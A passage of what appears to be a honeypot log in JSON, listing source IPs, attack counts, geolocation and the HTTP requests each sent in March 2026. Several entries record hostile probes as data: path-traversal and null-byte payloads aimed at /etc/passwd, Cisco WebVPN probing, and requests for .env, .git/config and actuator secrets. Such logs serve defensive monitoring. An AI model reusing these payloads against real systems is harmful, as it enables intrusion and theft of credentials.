      "first_seen": "2026-03-25T10:27:30.532Z",
      "last_seen": "2026-03-25T10:27:34.914Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.0\" 200 -",
        "\"GET /api/sonicos/is-sslvpn-enabled HTTP/1.0\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi"
    },
    "100.26.106.240": {
      "attack_count": 2,
      "first_seen": "2026-03-12T00:50:30.555Z",
      "last_seen": "2026-03-12T00:50:33.558Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "165.232.138.158": {
      "attack_count": 2,
      "first_seen": "2026-03-02T21:23:05.647Z",
      "last_seen": "2026-03-02T21:23:08.650Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "172.202.113.68": {
      "attack_count": 2,
      "first_seen": "2026-03-15T00:06:22.636Z",
      "last_seen": "2026-03-15T00:06:25.639Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "172.202.117.177": {
      "attack_count": 2,
      "first_seen": "2026-03-05T07:49:00.940Z",
      "last_seen": "2026-03-05T07:49:03.943Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "185.226.197.40": {
      "attack_count": 2,
      "first_seen": "2026-03-20T00:32:15.365Z",
      "last_seen": "2026-03-20T00:32:18.368Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "185.242.226.33": {
      "attack_count": 2,
      "first_seen": "2026-03-08T06:41:08.997Z",
      "last_seen": "2026-03-08T06:41:12.000Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc"
    },
    "185.242.226.46": {
      "attack_count": 2,
      "first_seen": "2026-03-17T00:03:03.677Z",
      "last_seen": "2026-03-17T00:03:06.680Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc"
    },
    "194.187.178.216": {
      "attack_count": 2,
      "first_seen": "2026-03-06T03:45:42.744Z",
      "last_seen": "2026-03-06T03:45:45.746Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH"
    },
    "198.235.24.127": {
      "attack_count": 2,
      "first_seen": "2026-03-09T02:14:20.969Z",
      "last_seen": "2026-03-09T02:14:23.971Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "198.235.24.182": {
      "attack_count": 2,
      "first_seen": "2026-03-09T19:55:36.722Z",
      "last_seen": "2026-03-09T19:55:39.723Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "198.235.24.75": {
      "attack_count": 2,
      "first_seen": "2026-03-02T00:25:15.799Z",
      "last_seen": "2026-03-02T00:25:18.799Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "20.65.193.152": {
      "attack_count": 2,
      "first_seen": "2026-03-02T04:42:40.619Z",
      "last_seen": "2026-03-02T04:42:43.623Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "216.218.206.122": {
      "attack_count": 2,
      "first_seen": "2026-03-12T05:04:58.679Z",
      "last_seen": "2026-03-12T05:05:04.427Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.81.248.10": {
      "attack_count": 2,
      "first_seen": "2026-03-14T10:24:21.396Z",
      "last_seen": "2026-03-14T10:24:24.400Z",
      "ports": [],
      "event_types": [
        "\"GET /.git/config HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 11320,
      "as_org": "LightEdge Solutions"
    },
    "34.105.172.54": {
      "attack_count": 2,
      "first_seen": "2026-03-14T15:47:30.718Z",
      "last_seen": "2026-03-14T15:47:39.208Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "34.178.59.210": {
      "attack_count": 2,
      "first_seen": "2026-03-05T15:45:41.059Z",
      "last_seen": "2026-03-05T15:45:42.005Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Groningen",
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "44.204.27.243": {
      "attack_count": 2,
      "first_seen": "2026-03-09T00:48:15.710Z",
      "last_seen": "2026-03-09T00:48:18.712Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "45.156.129.132": {
      "attack_count": 2,
      "first_seen": "2026-03-05T07:01:43.965Z",
      "last_seen": "2026-03-05T07:01:46.968Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A."
    },
    "47.250.178.170": {
      "attack_count": 2,
      "first_seen": "2026-03-10T05:51:01.906Z",
      "last_seen": "2026-03-10T05:51:04.909Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "5.101.64.6": {
      "attack_count": 2,
      "first_seen": "2026-03-05T02:38:32.192Z",
      "last_seen": "2026-03-05T02:38:33.523Z",
      "ports": [],
      "event_types": [
        "\"GET /aaa9 HTTP/1.1\" 404 -",
        "\"GET /aab9 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 34665,
      "as_org": "Petersburg Internet Network ltd."
    },
    "52.23.231.33": {
      "attack_count": 2,
      "first_seen": "2026-03-29T01:41:03.345Z",
      "last_seen": "2026-03-29T01:41:06.349Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.166.112.195": {
      "attack_count": 2,
      "first_seen": "2026-03-24T00:54:52.605Z",
      "last_seen": "2026-03-24T00:54:55.609Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.194": {
      "attack_count": 2,
      "first_seen": "2026-03-07T03:06:33.577Z",
      "last_seen": "2026-03-07T03:06:44.796Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.20.116": {
      "attack_count": 2,
      "first_seen": "2026-03-28T02:51:09.582Z",
      "last_seen": "2026-03-28T02:53:13.054Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.92.243.226": {
      "attack_count": 2,
      "first_seen": "2026-03-16T13:53:21.590Z",
      "last_seen": "2026-03-16T13:53:23.212Z",
      "ports": [],
      "event_types": [
        "\"GET /remote/login?lang=en HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 202412,
      "as_org": "Omegatech LTD"
    },
    "116.172.200.16": {
      "attack_count": 1,
      "first_seen": "2026-03-08T09:35:43.802Z",
      "last_seen": "2026-03-08T09:35:43.802Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "144.123.77.119": {
      "attack_count": 1,
      "first_seen": "2026-03-02T09:34:09.971Z",
      "last_seen": "2026-03-02T09:34:09.971Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "183.191.125.54": {
      "attack_count": 1,
      "first_seen": "2026-03-08T09:35:42.483Z",
      "last_seen": "2026-03-08T09:35:42.483Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "184.105.139.119": {
      "attack_count": 1,
      "first_seen": "2026-03-04T09:48:40.836Z",
      "last_seen": "2026-03-04T09:48:40.836Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "185.247.137.82": {
      "attack_count": 1,
      "first_seen": "2026-03-24T03:01:06.367Z",
      "last_seen": "2026-03-24T03:01:06.367Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "195.184.76.252": {
      "attack_count": 1,
      "first_seen": "2026-03-22T23:16:52.662Z",
      "last_seen": "2026-03-22T23:16:52.662Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "195.184.76.46": {
      "attack_count": 1,
      "first_seen": "2026-03-06T07:11:28.742Z",
      "last_seen": "2026-03-06T07:11:28.742Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "20.12.182.164": {
      "attack_count": 1,
      "first_seen": "2026-03-30T08:48:58.931Z",
      "last_seen": "2026-03-30T08:48:58.931Z",
      "ports": [],
      "event_types": [
        "\"GET /cdn-cgi/trace HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "206.123.144.21": {
      "attack_count": 1,
      "first_seen": "2026-03-17T08:20:38.286Z",
      "last_seen": "2026-03-17T08:20:38.286Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 201813,
      "as_org": "Contrust Solutions S.R.L."
    },
    "216.162.44.26": {
      "attack_count": 1,
      "first_seen": "2026-03-17T08:19:59.030Z",
      "last_seen": "2026-03-17T08:19:59.030Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211486,
      "as_org": "Alferov Aleksey Aleksandrovich"
    },
    "216.218.206.69": {
      "attack_count": 1,
      "first_seen": "2026-03-14T02:52:32.214Z",
      "last_seen": "2026-03-14T02:52:32.214Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.71": {
      "attack_count": 1,
      "first_seen": "2026-03-15T00:35:11.018Z",
      "last_seen": "2026-03-15T00:35:11.018Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.90": {
      "attack_count": 1,
      "first_seen": "2026-03-12T05:04:38.098Z",
      "last_seen": "2026-03-12T05:04:38.098Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.95": {
      "attack_count": 1,
      "first_seen": "2026-03-11T03:03:14.617Z",
      "last_seen": "2026-03-11T03:03:14.617Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "221.199.73.30": {
      "attack_count": 1,
      "first_seen": "2026-03-19T21:38:08.746Z",
      "last_seen": "2026-03-19T21:38:08.746Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone"
    },
    "3.84.29.230": {
      "attack_count": 1,
      "first_seen": "2026-03-29T01:10:23.724Z",
      "last_seen": "2026-03-29T01:10:23.724Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "34.205.139.189": {
      "attack_count": 1,
      "first_seen": "2026-03-24T00:55:03.591Z",
      "last_seen": "2026-03-24T00:55:03.591Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "44.204.29.60": {
      "attack_count": 1,
      "first_seen": "2026-03-09T00:47:57.752Z",
      "last_seen": "2026-03-09T00:47:57.752Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "46.175.135.6": {
      "attack_count": 1,
      "first_seen": "2026-03-22T13:14:21.089Z",
      "last_seen": "2026-03-22T13:14:21.089Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.0\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 60592,
      "as_org": "Gransy s.r.o."
    },
    "5.188.206.38": {
      "attack_count": 1,
      "first_seen": "2026-03-06T02:43:52.054Z",
      "last_seen": "2026-03-06T02:43:52.054Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 200391,
      "as_org": "Krez 999 Eood"
    },
    "64.62.156.73": {
      "attack_count": 1,
      "first_seen": "2026-03-03T05:13:10.898Z",
      "last_seen": "2026-03-03T05:13:10.898Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.86": {
      "attack_count": 1,
      "first_seen": "2026-03-06T02:49:33.867Z",
      "last_seen": "2026-03-06T02:49:33.867Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.90": {
      "attack_count": 1,
      "first_seen": "2026-03-16T02:46:37.681Z",
      "last_seen": "2026-03-16T02:46:37.681Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.91": {
      "attack_count": 1,
      "first_seen": "2026-03-06T02:49:22.878Z",
      "last_seen": "2026-03-06T02:49:22.878Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.16": {
      "attack_count": 1,
      "first_seen": "2026-03-25T09:57:41.458Z",
      "last_seen": "2026-03-25T09:57:41.458Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "82.221.131.71": {
      "attack_count": 1,
      "first_seen": "2026-03-08T21:00:20.415Z",
      "last_seen": "2026-03-08T21:00:20.415Z",
      "ports": [],
      "event_types": [
        "\"GET /welcome/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Iceland",
      "country_code": "IS",
      "city": null,
      "asn": 50613,
      "as_org": "Advania Island ehf"
    },
    "84.32.48.100": {
      "attack_count": 1,
      "first_seen": "2026-03-02T22:26:32.398Z",
      "last_seen": "2026-03-02T22:26:32.398Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 204770,
      "as_org": "UAB Cherry Servers"
    },
    "85.11.182.25": {
      "attack_count": 1,
      "first_seen": "2026-03-04T13:29:15.499Z",
      "last_seen": "2026-03-04T13:29:15.499Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd"
    },
    "87.236.176.163": {
      "attack_count": 1,
      "first_seen": "2026-03-17T09:53:28.961Z",
      "last_seen": "2026-03-17T09:53:28.961Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.230.168.208": {
      "attack_count": 1,
      "first_seen": "2026-03-15T21:25:42.552Z",
      "last_seen": "2026-03-15T21:25:42.552Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.232": {
      "attack_count": 1,
      "first_seen": "2026-03-08T15:56:15.016Z",
      "last_seen": "2026-03-08T15:56:15.016Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.77": {
      "attack_count": 1,
      "first_seen": "2026-03-08T15:50:16.677Z",
      "last_seen": "2026-03-08T15:50:16.677Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.92": {
      "attack_count": 1,
      "first_seen": "2026-03-15T21:32:13.569Z",
      "last_seen": "2026-03-15T21:32:13.569Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "98.81.162.40": {
      "attack_count": 1,
      "first_seen": "2026-03-27T00:57:02.214Z",
      "last_seen": "2026-03-27T00:57:02.214Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "178.16.55.82": {
      "attack_count": 1693,
      "first_seen": "2026-03-31T01:31:05.551Z",
      "last_seen": "2026-03-31T02:13:26.181Z",
      "ports": [],
      "event_types": [
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 202412,
      "as_org": "Omegatech LTD"
    },
    "136.144.35.116": {
      "attack_count": 565,
      "first_seen": "2026-03-17T19:33:59.905Z",
      "last_seen": "2026-03-24T16:48:59.263Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Trenton",
      "asn": 396356,
      "as_org": "Latitude.sh"
    },
    "141.98.10.68": {
      "attack_count": 275,
      "first_seen": "2026-03-08T22:46:45.736Z",
      "last_seen": "2026-03-11T05:05:25.516Z",
      "ports": [],
      "event_types": [
        "\"GET /etc/passwd HTTP/1.1\" 404 -",
        "\"GET /freepbx.php?page=../../../../etc/passwd HTTP/1.1\" 404 -",
        "\"GET /freepbx.php?module=../../../../etc/passwd HTTP/1.1\" 404 -",
        "\"GET /%C3%AF%C2%BB%C2%BF/freepbx.php?page=../../../../etc/passwd HTTP/1.1\" 404 -",
        "\"GET //////////etc/passwd HTTP/1.1\" 404 -",
        "\"GET /?file=../../../../etc/passwd%00 HTTP/1.1\" 404 -",
        "\"GET /?file=../../../etc/passwd%00 HTTP/1.1\" 404 -",
        "\"GET /?filepath=/etc/passwd%00 HTTP/1.1\" 404 -",
        "\"GET /?include=../../../etc/passwd%00 HTTP/1.1\" 404 -",
        "\"GET /?page=../../../../etc/passwd%00 HTTP/1.1\" 404 -",
        "\"GET /accounts.php?account=../../../../etc/passwd HTTP/1.1\" 404 -",
        "\"GET /asterisk.php?config=../../../../etc/passwd HTTP/1.1\" 404 -",
        "\"GET /asterisk.php?file=../../../../etc/passwd HTTP/1.1\" 404 -",
        "\"GET /cache HTTP/1.1\" 404 -",
        "\"GET /components.php?component=../../../../etc/passwd HTTP/1.1\" 404 -",
        "\"GET /dl.php?file=/etc/passwd HTTP/1.1\" 404 -",
        "\"GET /download.php?file=/etc/passwd HTTP/1.1\" 404 -",
        "\"GET /download.php?filepath=/etc/passwd HTTP/1.1\" 404 -",
        "\"GET /download.php?id=../../../etc/passwd HTTP/1.1\" 404 -",
        "\"GET /elements.php?element=../../../../etc/passwd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Lithuania",
      "country_code": "LT",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic"
    },
    "80.66.66.210": {
      "attack_count": 228,
      "first_seen": "2026-03-20T15:15:43.069Z",
      "last_seen": "2026-03-23T06:16:31.296Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Finland",
      "country_code": "FI",
      "city": null,
      "asn": 209702,
      "as_org": "Soldatov Alexey Valerevich"
    },
    "147.182.200.94": {
      "attack_count": 41,
      "first_seen": "2026-03-10T12:59:24.161Z",
      "last_seen": "2026-03-10T13:00:26.900Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /.DS_Store HTTP/1.1\" 404 -",
        "\"GET /.env HTTP/1.1\" 404 -",
        "\"GET /.git/config HTTP/1.1\" 404 -",
        "\"GET /.vscode/sftp.json HTTP/1.1\" 404 -",
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
        "\"GET /?rest_route=/wp/v2/users/ HTTP/1.1\" 404 -",
        "\"GET /@vite/env HTTP/1.1\" 404 -",
        "\"GET /about HTTP/1.1\" 404 -",
        "\"GET /actuator/env HTTP/1.1\" 404 -",
        "\"GET /api-docs/swagger.json HTTP/1.1\" 404 -",
        "\"GET /api/swagger.json HTTP/1.1\" 404 -",
        "\"GET /config.json HTTP/1.1\" 404 -",
        "\"GET /console/ HTTP/1.1\" 404 -",
        "\"GET /debug/default/view?panel=config HTTP/1.1\" 404 -",
        "\"GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1\" 404 -",
        "\"GET /info.php HTTP/1.1\" 404 -",
        "\"GET /login.action HTTP/1.1\" 404 -",
